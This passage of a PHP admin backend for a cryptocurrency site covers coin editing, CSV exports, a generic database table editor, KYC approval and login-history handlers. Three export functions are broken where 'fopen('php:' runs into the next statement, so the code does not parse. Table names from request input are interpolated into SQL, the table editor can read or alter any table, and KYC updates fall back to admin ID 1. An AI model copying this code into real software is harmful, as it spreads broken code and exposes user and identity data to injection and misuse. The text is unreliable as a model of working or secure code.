case '51-100': $whereConditions[]="cmd.market_cap_rank BETWEEN 51 AND 100";
break;
case '101-500': $whereConditions[]="cmd.market_cap_rank BETWEEN 101 AND 500";
break;
case '500+': $whereConditions[]="cmd.market_cap_rank>500";
break;
}
}
if(!empty($change)){
switch($change){
case 'positive': $whereConditions[]="cmd.price_change_percentage_24h>0";
break;
case 'negative': $whereConditions[]="cmd.price_change_percentage_24h<0";
break;
case 'high-positive': $whereConditions[]="cmd.price_change_percentage_24h>=10";
break;
case 'high-negative': $whereConditions[]="cmd.price_change_percentage_24h<=-10";
break;
}
}
if($image!==''){
if($image=='1'){
$whereConditions[]="ci.small IS NOT NULL AND ci.small!=''";
}
else{
$whereConditions[]="(ci.small IS NULL OR ci.small='')";
}
}
$whereClause=!empty($whereConditions)? 'WHERE ' . implode(' AND ',$whereConditions): '';
$countQuery="SELECT COUNT(*)as total FROM coins c LEFT JOIN coin_market_data cmd ON c.id=cmd.coin_id LEFT JOIN coin_images ci ON c.id=ci.coin_id $whereClause";
if(!empty($params)){
$countStmt=$spexcon->prepare($countQuery);
$countStmt->bind_param($types,...$params);
$countStmt->execute();
$total=$countStmt->get_result()->fetch_assoc()['total'];
}
else{
$total=$spexcon->query($countQuery)->fetch_assoc()['total'];
}
$query="SELECT c.*,cmd.*,ci.small as small_image FROM coins c LEFT JOIN coin_market_data cmd ON c.id=cmd.coin_id LEFT JOIN coin_images ci ON c.id=ci.coin_id $whereClause ORDER BY COALESCE(cmd.market_cap_rank,999999)ASC,c.name ASC LIMIT ? OFFSET ?";
$params[]=$limit;
$params[]=$offset;
$types .='ii';
if(!empty($whereConditions)||!empty($params)){
$stmt=$spexcon->prepare($query);
$stmt->bind_param($types,...$params);
$stmt->execute();
$result=$stmt->get_result();
}
else{
$result=$spexcon->query($query);
}
$coins=array();
while($row=$result->fetch_assoc()){
$coins[]=$row;
}
return array('coins'=>$coins,'total'=>$total);
}
function getCoinDetails($coinId){
global $spexcon;
$query="SELECT c.*,cmd.*,ci.thumb as thumb_image,ci.small as small_image,ci.large as large_image FROM coins c LEFT JOIN coin_market_data cmd ON c.id=cmd.coin_id LEFT JOIN coin_images ci ON c.id=ci.coin_id WHERE c.id=?";
$stmt=$spexcon->prepare($query);
$stmt->bind_param("s",$coinId);
$stmt->execute();
$result=$stmt->get_result();
if($result->num_rows>0){
return $result->fetch_assoc();
}
return false;
}
function getCoinDataFromPost(){
return array('id'=>Sanitize($_POST['coin_id']),'name'=>Sanitize($_POST['name']),'symbol'=>Sanitize($_POST['symbol']),'description'=>Sanitize($_POST['description']),'homepage'=>Sanitize($_POST['homepage']),'blockchain_site'=>Sanitize($_POST['blockchain_site']),'twitter_screen_name'=>Sanitize($_POST['twitter_screen_name']),'telegram_channel_identifier'=>Sanitize($_POST['telegram_channel_identifier']),'genesis_date'=>Sanitize($_POST['genesis_date']),'current_price_usd'=>floatval($_POST['current_price_usd'] ?? 0),'market_cap_usd'=>intval($_POST['market_cap_usd'] ?? 0),'market_cap_rank'=>intval($_POST['market_cap_rank'] ?? 0),'total_volume_usd'=>intval($_POST['total_volume_usd'] ?? 0),'circulating_supply'=>floatval($_POST['circulating_supply'] ?? 0),'total_supply'=>floatval($_POST['total_supply'] ?? 0),'max_supply'=>floatval($_POST['max_supply'] ?? 0),'thumb_image'=>Sanitize($_POST['thumb_image']),'small_image'=>Sanitize($_POST['small_image']),'large_image'=>Sanitize($_POST['large_image']));
}
function createCoin($coinData){
global $spexcon;
$spexcon->begin_transaction();
try{
$query="INSERT INTO coins(id,symbol,name,description,homepage,blockchain_site,twitter_screen_name,telegram_channel_identifier,genesis_date,created_at,updated_at)VALUES(?,?,?,?,?,?,?,?,?,current_timestamp(),current_timestamp())";
$stmt=$spexcon->prepare($query);
$stmt->bind_param("sssssssss",$coinData['id'],$coinData['symbol'],$coinData['name'],$coinData['description'],$coinData['homepage'],$coinData['blockchain_site'],$coinData['twitter_screen_name'],$coinData['telegram_channel_identifier'],$coinData['genesis_date']);
$stmt->execute();
$marketQuery="INSERT INTO coin_market_data(coin_id,current_price_usd,market_cap_usd,market_cap_rank,total_volume_usd,circulating_supply,total_supply,max_supply,last_updated)VALUES(?,?,?,?,?,?,?,?,current_timestamp())";
$marketStmt=$spexcon->prepare($marketQuery);
$marketStmt->bind_param("sdiidddd",$coinData['id'],$coinData['current_price_usd'],$coinData['market_cap_usd'],$coinData['market_cap_rank'],$coinData['total_volume_usd'],$coinData['circulating_supply'],$coinData['total_supply'],$coinData['max_supply']);
$marketStmt->execute();
if(!empty($coinData['thumb_image'])||!empty($coinData['small_image'])||!empty($coinData['large_image'])){
$imageQuery="INSERT INTO coin_images(coin_id,thumb,small,large,updated_at)VALUES(?,?,?,?,current_timestamp())";
$imageStmt=$spexcon->prepare($imageQuery);
$imageStmt->bind_param("ssss",$coinData['id'],$coinData['thumb_image'],$coinData['small_image'],$coinData['large_image']);
$imageStmt->execute();
}
$spexcon->commit();
return true;
}
catch(Exception $e){
$spexcon->rollback();
return false;
}
}
function updateCoin($originalId,$coinData){
global $spexcon;
$spexcon->begin_transaction();
try{
$query="UPDATE coins SET id=?,symbol=?,name=?,description=?,homepage=?,blockchain_site=?,twitter_screen_name=?,telegram_channel_identifier=?,genesis_date=?,updated_at=current_timestamp()WHERE id=?";
$stmt=$spexcon->prepare($query);
$stmt->bind_param("ssssssssss",$coinData['id'],$coinData['symbol'],$coinData['name'],$coinData['description'],$coinData['homepage'],$coinData['blockchain_site'],$coinData['twitter_screen_name'],$coinData['telegram_channel_identifier'],$coinData['genesis_date'],$originalId);
$stmt->execute();
$marketQuery="UPDATE coin_market_data SET coin_id=?,current_price_usd=?,market_cap_usd=?,market_cap_rank=?,total_volume_usd=?,circulating_supply=?,total_supply=?,max_supply=?,last_updated=current_timestamp()WHERE coin_id=?";
$marketStmt=$spexcon->prepare($marketQuery);
$marketStmt->bind_param("sdiidddds",$coinData['id'],$coinData['current_price_usd'],$coinData['market_cap_usd'],$coinData['market_cap_rank'],$coinData['total_volume_usd'],$coinData['circulating_supply'],$coinData['total_supply'],$coinData['max_supply'],$originalId);
$marketStmt->execute();
$checkImageQuery="SELECT coin_id FROM coin_images WHERE coin_id=?";
$checkStmt=$spexcon->prepare($checkImageQuery);
$checkStmt->bind_param("s",$originalId);
$checkStmt->execute();
$imageExists=$checkStmt->get_result()->num_rows>0;
if($imageExists){
$imageQuery="UPDATE coin_images SET coin_id=?,thumb=?,small=?,large=?,updated_at=current_timestamp()WHERE coin_id=?";
$imageStmt=$spexcon->prepare($imageQuery);
$imageStmt->bind_param("sssss",$coinData['id'],$coinData['thumb_image'],$coinData['small_image'],$coinData['large_image'],$originalId);
$imageStmt->execute();
}
else if(!empty($coinData['thumb_image'])||!empty($coinData['small_image'])||!empty($coinData['large_image'])){
$imageQuery="INSERT INTO coin_images(coin_id,thumb,small,large,updated_at)VALUES(?,?,?,?,current_timestamp())";
$imageStmt=$spexcon->prepare($imageQuery);
$imageStmt->bind_param("ssss",$coinData['id'],$coinData['thumb_image'],$coinData['small_image'],$coinData['large_image']);
$imageStmt->execute();
}
$spexcon->commit();
return true;
}
catch(Exception $e){
$spexcon->rollback();
return false;
}
}
function deleteCoin($coinId){
global $spexcon;
$query="DELETE FROM coins WHERE id=?";
$stmt=$spexcon->prepare($query);
$stmt->bind_param("s",$coinId);
return $stmt->execute();
}
function syncSingleCoin($coinId){
return true;
}
function syncAllCoins(){
global $spexcon;
$query="UPDATE coin_market_data SET last_updated=current_timestamp()";
$spexcon->query($query);
$countQuery="SELECT COUNT(*)as count FROM coin_market_data";
$result=$spexcon->query($countQuery);
require __DIR__ . '/../crons/UpdateMarket.php';
return $result->fetch_assoc()['count'];
}
function exportCoinsCSV(){
global $spexcon;
$search=Sanitize($_GET['search'] ?? '');
$rank=Sanitize($_GET['rank'] ?? '');
$change=Sanitize($_GET['change'] ?? '');
$image=$_GET['image'] ?? '';
$whereConditions=array();
$params=array();
$types='';
if(!empty($search)){
$whereConditions[]="(c.name LIKE ? OR c.symbol LIKE ? OR c.id LIKE ?)";
$params[]="%$search%";
$params[]="%$search%";
$params[]="%$search%";
$types .='sss';
}
$whereClause=!empty($whereConditions)? 'WHERE ' . implode(' AND ',$whereConditions): '';
$query="SELECT c.id,c.name,c.symbol,cmd.current_price_usd,cmd.market_cap_usd,cmd.market_cap_rank,cmd.price_change_percentage_24h,cmd.total_volume_usd,cmd.circulating_supply,cmd.total_supply,cmd.max_supply,cmd.last_updated FROM coins c LEFT JOIN coin_market_data cmd ON c.id=cmd.coin_id $whereClause ORDER BY COALESCE(cmd.market_cap_rank,999999)ASC";
if(!empty($params)){
$stmt=$spexcon->prepare($query);
$stmt->bind_param($types,...$params);
$stmt->execute();
$result=$stmt->get_result();
}
else{
$result=$spexcon->query($query);
}
header('Content-Type: text/csv');
header('Content-Disposition: attachment;
filename="coins_export_' . date('Y-m-d_H-i-s'). '.csv"');
$output=fopen('php: fputcsv($output,array('Coin ID','Name','Symbol','Price USD','Market Cap USD','Rank','Change 24h %','Volume 24h USD','Circulating Supply','Total Supply','Max Supply','Last Updated'));
while($row=$result->fetch_assoc()){
fputcsv($output,array($row['id'],$row['name'],$row['symbol'],$row['current_price_usd'],$row['market_cap_usd'],$row['market_cap_rank'],$row['price_change_percentage_24h'],$row['total_volume_usd'],$row['circulating_supply'],$row['total_supply'],$row['max_supply'],$row['last_updated']));
}
fclose($output);
}
function getMonthlyUserData(){
global $spexcon;
$monthlyData=[];
for($i=11;
$i>=0;
$i--){
$startDate=date('Y-m-01',strtotime("-$i months"));
$endDate=date('Y-m-t',strtotime("-$i months"));
$query=$spexcon->query(" SELECT COUNT(*)as count FROM users WHERE register_date>='$startDate' AND register_date<='$endDate 23:59:59' AND disablead=0 ");
$result=$query->fetch_assoc();
$monthlyData[]=[ 'month'=>date('M Y',strtotime("-$i months")),'count'=>(int)$result['count'] ];
}
return $monthlyData;
}
function getTables(){
global $spexcon;
$query="SHOW TABLES";
$result=$spexcon->query($query);
if(!$result){
throw new Exception("Failed to get tables: " . $spexcon->error);
}
$tables=[];
while($row=$result->fetch_array()){
$tableName=$row[0];
$countQuery=$spexcon->query("SELECT COUNT(*)as count FROM `$tableName`");
$rowCount=$countQuery ? $countQuery->fetch_assoc()['count'] : 0;
$tables[]=[ 'name'=>$tableName,'rows'=>$rowCount ];
}
echo json_encode(['success'=>true,'tables'=>$tables]);
}
function getTableData(){
global $spexcon;
$table=Sanitize($_POST['table']);
if(empty($table)){
throw new Exception("Table name is required");
}
$columnsQuery=$spexcon->query("SHOW COLUMNS FROM `$table`");
if(!$columnsQuery){
throw new Exception("Failed to get table columns: " . $spexcon->error);
}
$columns=[];
while($col=$columnsQuery->fetch_assoc()){
$columns[]=[ 'name'=>$col['Field'],'type'=>$col['Type'],'null'=>$col['Null'],'key'=>$col['Key'],'default'=>$col['Default'],'extra'=>$col['Extra'] ];
}
$dataQuery=$spexcon->query("SELECT*FROM `$table` ORDER BY 1 DESC LIMIT 100");
if(!$dataQuery){
throw new Exception("Failed to get table data: " . $spexcon->error);
}
$data=[];
while($row=$dataQuery->fetch_assoc()){
$data[]=$row;
}
echo json_encode([ 'success'=>true,'columns'=>$columns,'data'=>$data ]);
}
function getRecord(){
global $spexcon;
$table=Sanitize($_POST['table']);
$id=Sanitize($_POST['id']);
if(empty($table)||empty($id)){
throw new Exception("Table name and ID are required");
}
$pkQuery=$spexcon->query("SHOW KEYS FROM `$table` WHERE Key_name='PRIMARY'");
if(!$pkQuery||$pkQuery->num_rows===0){
throw new Exception("No primary key found for table");
}
$pkCol=$pkQuery->fetch_assoc()['Column_name'];
$query=$spexcon->prepare("SELECT*FROM `$table` WHERE `$pkCol`=?");
$query->bind_param("s",$id);
$query->execute();
$result=$query->get_result();
if($result->num_rows===0){
throw new Exception("Record not found");
}
$data=$result->fetch_assoc();
echo json_encode(['success'=>true,'data'=>$data]);
}
function insertRecord(){
global $spexcon;
$table=Sanitize($_POST['table']);
if(empty($table)){
throw new Exception("Table name is required");
}
$columnsQuery=$spexcon->query("SHOW COLUMNS FROM `$table`");
$columns=[];
while($col=$columnsQuery->fetch_assoc()){
if($col['Extra']!=='auto_increment'){
$columns[]=$col['Field'];
}
}
$fields=[];
$values=[];
$types='';
$params=[];
foreach($columns as $column){
if(isset($_POST[$column])){
$fields[]="`$column`";
$values[]="?";
$types .='s';
$params[]=$_POST[$column];
}
}
if(empty($fields)){
throw new Exception("No valid fields provided");
}
$sql="INSERT INTO `$table`(" . implode(',',$fields). ")VALUES(" . implode(',',$values). ")";
$stmt=$spexcon->prepare($sql);
if($stmt){
$stmt->bind_param($types,...$params);
if($stmt->execute()){
echo json_encode(['success'=>true,'message'=>'Record inserted successfully']);
}
else{
throw new Exception("Failed to insert record: " . $stmt->error);
}
}
else{
throw new Exception("Failed to prepare statement: " . $spexcon->error);
}
}
function updateRecord(){
global $spexcon;
$table=Sanitize($_POST['table']);
$id=Sanitize($_POST['id']);
if(empty($table)||empty($id)){
throw new Exception("Table name and ID are required");
}
$pkQuery=$spexcon->query("SHOW KEYS FROM `$table` WHERE Key_name='PRIMARY'");
if(!$pkQuery||$pkQuery->num_rows===0){
throw new Exception("No primary key found for table");
}
$pkCol=$pkQuery->fetch_assoc()['Column_name'];
$columnsQuery=$spexcon->query("SHOW COLUMNS FROM `$table`");
$columns=[];
while($col=$columnsQuery->fetch_assoc()){
$columns[]=$col['Field'];
}
$fields=[];
$types='';
$params=[];
foreach($columns as $column){
if(isset($_POST[$column])&&$column!==$pkCol){
$fields[]="`$column`=?";
$types .='s';
$params[]=$_POST[$column];
}
}
if(empty($fields)){
throw new Exception("No valid fields provided");
}
$types .='s';
$params[]=$id;
$sql="UPDATE `$table` SET " . implode(',',$fields). " WHERE `$pkCol`=?";
$stmt=$spexcon->prepare($sql);
if($stmt){
$stmt->bind_param($types,...$params);
if($stmt->execute()){
echo json_encode(['success'=>true,'message'=>'Record updated successfully']);
}
else{
throw new Exception("Failed to update record: " . $stmt->error);
}
}
else{
throw new Exception("Failed to prepare statement: " . $spexcon->error);
}
}
function deleteRecord(){
global $spexcon;
$table=Sanitize($_POST['table']);
$id=Sanitize($_POST['id']);
if(empty($table)||empty($id)){
throw new Exception("Table name and ID are required");
}
$pkQuery=$spexcon->query("SHOW KEYS FROM `$table` WHERE Key_name='PRIMARY'");
if(!$pkQuery||$pkQuery->num_rows===0){
throw new Exception("No primary key found for table");
}
$pkCol=$pkQuery->fetch_assoc()['Column_name'];
$stmt=$spexcon->prepare("DELETE FROM `$table` WHERE `$pkCol`=?");
$stmt->bind_param("s",$id);
if($stmt->execute()){
echo json_encode(['success'=>true,'message'=>'Record deleted successfully']);
}
else{
throw new Exception("Failed to delete record: " . $stmt->error);
}
}
function exportTable(){
global $spexcon;
$table=Sanitize($_GET['table']);
if(empty($table)){
throw new Exception("Table name is required");
}
$result=$spexcon->query("SELECT*FROM `$table`");
if(!$result){
throw new Exception("Failed to export table: " . $spexcon->error);
}
header('Content-Type: text/csv');
header('Content-Disposition: attachment;
filename="' . $table . '_export_' . date('Y-m-d_H-i-s'). '.csv"');
$output=fopen('php: if($result->num_rows>0){
$firstRow=$result->fetch_assoc();
fputcsv($output,array_keys($firstRow));
fputcsv($output,$firstRow);
while($row=$result->fetch_assoc()){
fputcsv($output,$row);
}
}
fclose($output);
exit;
}
function getKYCStats(){
global $spexcon;
$totalQuery=$spexcon->query("SELECT COUNT(*)as count FROM user_identifications");
$totalApplications=$totalQuery ? $totalQuery->fetch_assoc()['count'] : 0;
$pendingQuery=$spexcon->query("SELECT COUNT(*)as count FROM user_identifications WHERE status='PENDING'");
$pendingApplications=$pendingQuery ? $pendingQuery->fetch_assoc()['count'] : 0;
$approvedQuery=$spexcon->query("SELECT COUNT(*)as count FROM user_identifications WHERE status='APPROVED'");
$approvedApplications=$approvedQuery ? $approvedQuery->fetch_assoc()['count'] : 0;
$rejectedQuery=$spexcon->query("SELECT COUNT(*)as count FROM user_identifications WHERE status='REJECTED'");
$rejectedApplications=$rejectedQuery ? $rejectedQuery->fetch_assoc()['count'] : 0;
echo json_encode([ 'success'=>true,'stats'=>[ 'total_applications'=>$totalApplications,'pending_applications'=>$pendingApplications,'approved_applications'=>$approvedApplications,'rejected_applications'=>$rejectedApplications ] ]);
}
function getKYCApplications(){
global $spexcon;
$query=$spexcon->query(" SELECT ui.*,u.mail as user_email FROM user_identifications ui LEFT JOIN users u ON ui.user_id=u.uid ORDER BY ui.submitted_at DESC ");
if(!$query){
throw new Exception("Database error: " . $spexcon->error);
}
$applications=[];
while($row=$query->fetch_assoc()){
$applications[]=$row;
}
echo json_encode(['success'=>true,'applications'=>$applications]);
}
function updateKYCStatus(){
global $spexcon;
$id=(int)($_POST['id'] ?? 0);
$status=Sanitize($_POST['status'] ?? '');
$admin_notes=Sanitize($_POST['admin_notes'] ?? '');
$admin_id=$_SESSION['adminID'] ?? 1;
if(!$id||empty($status)){
throw new Exception("ID and status are required");
}
$validStatuses=['PENDING','APPROVED','REJECTED'];
if(!in_array($status,$validStatuses)){
throw new Exception("Invalid status");
}
$stmt=$spexcon->prepare(" UPDATE user_identifications SET status=?,admin_notes=?,approved_by=?,approved_at=NOW(),updated_at=NOW()WHERE id=? ");
$stmt->bind_param("ssii",$status,$admin_notes,$admin_id,$id);
if($stmt->execute()){
if($status==='APPROVED'){
$userQuery=$spexcon->prepare("SELECT user_id FROM user_identifications WHERE id=?");
$userQuery->bind_param("i",$id);
$userQuery->execute();
$userResult=$userQuery->get_result();
if($userResult->num_rows>0){
$userId=$userResult->fetch_assoc()['user_id'];
$updateUser=$spexcon->prepare("UPDATE users SET identification_verify=1 WHERE uid=?");
$updateUser->bind_param("i",$userId);
$updateUser->execute();
}
}
elseif($status==='REJECTED'){
$userQuery=$spexcon->prepare("SELECT user_id FROM user_identifications WHERE id=?");
$userQuery->bind_param("i",$id);
$userQuery->execute();
$userResult=$userQuery->get_result();
if($userResult->num_rows>0){
$userId=$userResult->fetch_assoc()['user_id'];
$updateUser=$spexcon->prepare("UPDATE users SET identification_verify=0 WHERE uid=?");
$updateUser->bind_param("i",$userId);
$updateUser->execute();
}
}
echo json_encode(['success'=>true,'message'=>'KYC status updated successfully']);
}
else{
throw new Exception("Failed to update KYC status: " . $stmt->error);
}
}
function saveAdminNotes(){
global $spexcon;
$id=(int)($_POST['id'] ?? 0);
$admin_notes=Sanitize($_POST['admin_notes'] ?? '');
if(!$id){
throw new Exception("ID is required");
}
$stmt=$spexcon->prepare("UPDATE user_identifications SET admin_notes=?,updated_at=NOW()WHERE id=?");
$stmt->bind_param("si",$admin_notes,$id);
if($stmt->execute()){
echo json_encode(['success'=>true,'message'=>'Notes saved successfully']);
}
else{
throw new Exception("Failed to save notes: " . $stmt->error);
}
}
function getLoginStats(){
global $spexcon;
$stats=array();
$query="SELECT COUNT(*)as count FROM user_login_history WHERE status='SUCCESS'";
$result=$spexcon->query($query);
$stats['successful_logins']=$result->fetch_assoc()['count'];
$query="SELECT COUNT(*)as count FROM user_login_history WHERE status='FAILED'";
$result=$spexcon->query($query);
$stats['failed_logins']=$result->fetch_assoc()['count'];
$query="SELECT COUNT(DISTINCT user_id)as count FROM user_login_history";
$result=$spexcon->query($query);
$stats['unique_users']=$result->fetch_assoc()['count'];
$query="SELECT COUNT(*)as count FROM user_login_history WHERE login_time>=DATE_SUB(NOW(),INTERVAL 24 HOUR)";
$result=$spexcon->query($query);
$stats['last_24_hours']=$result->fetch_assoc()['count'];
return $stats;
}
function getLoginHistory($limit,$offset,$search,$status,$device,$dateFrom,$dateTo){
global $spexcon;
$whereConditions=array();
$params=array();
$types='';
if(!empty($search)){
if(is_numeric($search)){
$whereConditions[]="ulh.user_id=?";
$params[]=intval($search);
$types .='i';
}
else{
$whereConditions[]="(u.mail LIKE ? OR u.phone LIKE ?)";
$params[]="%$search%";
$params[]="%$search%";
$types .='ss';
}
}
if(!empty($status)){
$whereConditions[]="ulh.status=?";
$params[]=$status;
$types .='s';
}
if(!empty($device)){
$whereConditions[]="ulh.device LIKE ?";
$params[]="%$device%";
$types .='s';
}
if(!empty($dateFrom)){
$whereConditions[]="DATE(ulh.login_time)>=?";
$params[]=$dateFrom;
$types .='s';
}
if(!empty($dateTo)){
$whereConditions[]="DATE(ulh.login_time)<=?";
$params[]=$dateTo;
$types .='s';
}
$whereClause=!empty($whereConditions)? 'WHERE ' . implode(' AND ',$whereConditions): '';
$countQuery="SELECT COUNT(*)as total FROM user_login_history ulh LEFT JOIN users u ON ulh.user_id=u.uid $whereClause";
if(!empty($params)){
$countStmt=$spexcon->prepare($countQuery);
$countStmt->bind_param($types,...$params);
$countStmt->execute();
$total=$countStmt->get_result()->fetch_assoc()['total'];
}
else{
$total=$spexcon->query($countQuery)->fetch_assoc()['total'];
}
$query="SELECT ulh.*,u.mail as user_email,u.phone as user_phone FROM user_login_history ulh LEFT JOIN users u ON ulh.user_id=u.uid $whereClause ORDER BY ulh.login_time DESC LIMIT ? OFFSET ?";
$params[]=$limit;
$params[]=$offset;
$types .='ii';
if(!empty($whereConditions)||!empty($params)){
$stmt=$spexcon->prepare($query);
$stmt->bind_param($types,...$params);
$stmt->execute();
$result=$stmt->get_result();
}
else{
$result=$spexcon->query($query);
}
$history=array();
while($row=$result->fetch_assoc()){
$history[]=$row;
}
return array('history'=>$history,'total'=>$total);
}
function getLoginDetails($id){
global $spexcon;
$query="SELECT ulh.*,u.mail,u.phone,u.disablead,u.register_date,u.last_login FROM user_login_history ulh LEFT JOIN users u ON ulh.user_id=u.uid WHERE ulh.id=?";
$stmt=$spexcon->prepare($query);
$stmt->bind_param("i",$id);
$stmt->execute();
$result=$stmt->get_result();
if($result->num_rows>0){
$row=$result->fetch_assoc();
return array('record'=>array('id'=>$row['id'],'user_id'=>$row['user_id'],'ip_address'=>$row['ip_address'],'device'=>$row['device'],'browser'=>$row['browser'],'location'=>$row['location'],'status'=>$row['status'],'login_time'=>$row['login_time']),'user_info'=>array('mail'=>$row['mail'],'phone'=>$row['phone'],'disablead'=>$row['disablead'],'register_date'=>$row['register_date'],'last_login'=>$row['last_login']));
}
return false;
}
function deleteLoginRecord($id){
global $spexcon;
$query="DELETE FROM user_login_history WHERE id=?";
$stmt=$spexcon->prepare($query);
$stmt->bind_param("i",$id);
return $stmt->execute();
}
function clearOldLoginHistory(){
global $spexcon;
$query="DELETE FROM user_login_history WHERE login_time<DATE_SUB(NOW(),INTERVAL 90 DAY)";
$result=$spexcon->query($query);
return $spexcon->affected_rows;
}
function exportLoginHistoryCSV(){
global $spexcon;
$search=Sanitize($_GET['search'] ?? '');
$status=Sanitize($_GET['status'] ?? '');
$device=Sanitize($_GET['device'] ?? '');
$dateFrom=Sanitize($_GET['date_from'] ?? '');
$dateTo=Sanitize($_GET['date_to'] ?? '');
$whereConditions=array();
$params=array();
$types='';
if(!empty($search)){
if(is_numeric($search)){
$whereConditions[]="ulh.user_id=?";
$params[]=intval($search);
$types .='i';
}
else{
$whereConditions[]="(u.mail LIKE ? OR u.phone LIKE ?)";
$params[]="%$search%";
$params[]="%$search%";
$types .='ss';
}
}
if(!empty($status)){
$whereConditions[]="ulh.status=?";
$params[]=$status;
$types .='s';
}
if(!empty($device)){
$whereConditions[]="ulh.device LIKE ?";
$params[]="%$device%";
$types .='s';
}
if(!empty($dateFrom)){
$whereConditions[]="DATE(ulh.login_time)>=?";
$params[]=$dateFrom;
$types .='s';
}
if(!empty($dateTo)){
$whereConditions[]="DATE(ulh.login_time)<=?";
$params[]=$dateTo;
$types .='s';
}
$whereClause=!empty($whereConditions)? 'WHERE ' . implode(' AND ',$whereConditions): '';
$query="SELECT ulh.id,ulh.user_id,u.mail as user_email,u.phone as user_phone,ulh.ip_address,ulh.device,ulh.browser,ulh.location,ulh.status,ulh.login_time FROM user_login_history ulh LEFT JOIN users u ON ulh.user_id=u.uid $whereClause ORDER BY ulh.login_time DESC";
if(!empty($params)){
$stmt=$spexcon->prepare($query);
$stmt->bind_param($types,...$params);
$stmt->execute();
$result=$stmt->get_result();
}
else{
$result=$spexcon->query($query);
}
header('Content-Type: text/csv');
header('Content-Disposition: attachment;
filename="login_history_' . date('Y-m-d_H-i-s'). '.csv"');
$output=fopen('php: fputcsv($output,array('ID','User ID','User Email','User Phone','IP Address','Device','Browser','Location','Status','Login Time'));
while($row=$result->fetch_assoc()){
fputcsv($output,array($row['id'],$row['user_id'],$row['user_email'],$row['user_phone'],$row['ip_address'],$row['device'],$row['browser'],$row['location'],$row['status'],$row['login_time']));
}
fclose($output);
}
function getLastSync(){
global $spexcon;
$query="SELECT MAX(last_updated)as last_sync FROM coin_market_data";
$result=$spexcon->query($query);
$lastSync=$result->fetch_assoc()['last_sync'];
if($lastSync){
$date=new DateTime($lastSync);
return $date->format('Y-m-d H:i:s');
}
return 'Never synced';
}
function getMarketStats(){
global $spexcon;
$stats=array();
$query="SELECT SUM(market_cap_usd)as total_market_cap,SUM(total_volume_usd)as total_volume,COUNT(*)as active_coins FROM coin_market_data WHERE market_cap_rank>0 AND market_cap_usd>0";
$result=$spexcon->query($query);
$data=$result->fetch_assoc();
$stats['total_market_cap']=$data['total_market_cap'] ?? 0;
$stats['total_volume']=$data['total_volume'] ?? 0;
$stats['active_coins']=$data['active_coins'] ?? 0;
$btcQuery="SELECT market_cap_usd FROM coin_market_data WHERE coin_id='bitcoin'";
$btcResult=$spexcon->query($btcQuery);
$btcData=$btcResult->fetch_assoc();
if($btcData&&$stats['total_market_cap']>0){
$stats['btc_dominance']=($btcData['market_cap_usd']/$stats['total_market_cap'])*100;
}
else{
$stats['btc_dominance']=0;
}
return $stats;
}
function getTopGainersLosers(){
global $spexcon;
$gainersQuery="SELECT c.id,c.name,c.symbol,cmd.current_price_usd,cmd.price_change_percentage_24h,ci.small as image FROM coins c JOIN coin_market_data cmd ON c.id=cmd.coin_id LEFT JOIN coin_images ci ON c.id=ci.coin_id WHERE cmd.price_change_percentage_24h>0 AND cmd.market_cap_rank<=500 ORDER BY cmd.price_change_percentage_24h DESC LIMIT 10";
$losersQuery="SELECT c.id,c.name,c.symbol,cmd.current_price_usd,cmd.price_change_percentage_24h,ci.small as image FROM coins c JOIN coin_market_data cmd ON c.id=cmd.coin_id LEFT JOIN coin_images ci ON c.id=ci.coin_id WHERE cmd.price_change_percentage_24h<0 AND cmd.market_cap_rank<=500 ORDER BY cmd.price_change_percentage_24h ASC LIMIT 10";
$gainers=array();
$losers=array();
$gainersResult=$spexcon->query($gainersQuery);
while($row=$gainersResult->fetch_assoc()){
$gainers[]=$row;
}
$losersResult=$spexcon->query($losersQuery);
while($row=$losersResult->fetch_assoc()){
$losers[]=$row;
}
return array('gainers'=>$gainers,'losers'=>$losers);
}
function getMarketData($limit,$offset,$search,$rank,$price,$change,$sortBy,$sortOrder){
global $spexcon;
$whereConditions=array();
$params=array();
$types='';
if(!empty($search)){
$whereConditions[]="(c.name LIKE ? OR c.symbol LIKE ?)";
$params[]="%$search%";
$params[]="%$search%";
$types .='ss';
}
if(!empty($rank)){
switch($rank){
case '1-10': $whereConditions[]="cmd.market_cap_rank BETWEEN 1 AND 10";
break;
case '11-50': $whereConditions[]="cmd.market_cap_rank BETWEEN 11 AND 50";
break;
case '51-100': $whereConditions[]="cmd.market_cap_rank BETWEEN 51 AND 100";
break;
case '101-500': $whereConditions[]="cmd.market_cap_rank BETWEEN 101 AND 500";
break;
case '500+': $whereConditions[]="cmd.market_cap_rank>500";
break;
}
}
if(!empty($price)){
switch($price){
case '0-1': $whereConditions[]="cmd.current_price_usd BETWEEN 0 AND 1";
break;
case '1-10': $whereConditions[]="cmd.current_price_usd BETWEEN 1 AND 10";
break;
case '10-100': $whereConditions[]="cmd.current_price_usd BETWEEN 10 AND 100";
break;
case '100-1000': $whereConditions[]="cmd.current_price_usd BETWEEN 100 AND 1000";
break;
case '1000+': $whereConditions[]="cmd.current_price_usd>1000";
break;
}
}
if(!empty($change)){
switch($change){
case 'positive': $whereConditions[]="cmd.price_change_percentage_24h>0";
break;
case 'negative': $whereConditions[]="cmd.price_change_percentage_24h<0";
break;
case 'high-gain': $whereConditions[]="cmd.price_change_percentage_24h>=20";
break;
case 'high-loss': $whereConditions[]="cmd.price_change_percentage_24h<=-20";
break;
}
}
$whereClause=!empty($whereConditions)? 'WHERE ' . implode(' AND ',$whereConditions): '';
$validSortColumns=['market_cap_rank','market_cap_usd','current_price_usd','price_change_percentage_24h','total_volume_usd'];
if(!in_array($sortBy,$validSortColumns)){
$sortBy='market_cap_rank';
}
$sortOrder=strtoupper($sortOrder)==='DESC' ? 'DESC' : 'ASC';
$countQuery="SELECT COUNT(*)as total FROM coins c JOIN coin_market_data cmd ON c.id=cmd.coin_id $whereClause";
if(!empty($params)){
$countStmt=$spexcon->prepare($countQuery);
$countStmt->bind_param($types,...$params);
$countStmt->execute();
$total=$countStmt->get_result()->fetch_assoc()['total'];
}
else{
$total=$spexcon->query($countQuery)->fetch_assoc()['total'];
}
$query="SELECT c.id,c.name,c.symbol,cmd.*,ci.small as image FROM coins c JOIN coin_market_data cmd ON c.id=cmd.coin_id LEFT JOIN coin_images ci ON c.id=ci.coin_id $whereClause ORDER BY cmd.$sortBy $sortOrder,c.name ASC LIMIT ? OFFSET ?";
$params[]=$limit;
$params[]=$offset;
$types .='ii';
if(!empty($whereConditions)||!empty($params)){
$stmt=$spexcon->prepare($query);
$stmt->bind_param($types,...$params);
$stmt->execute();
$result=$stmt->get_result();
}
else{
$result=$spexcon->query($query);
}
$data=array();
while($row=$result->fetch_assoc()){
$data[]=$row;
}
return array('data'=>$data,'total'=>$total);
}
function getCoinFullDetails($coinId){
global $spexcon;
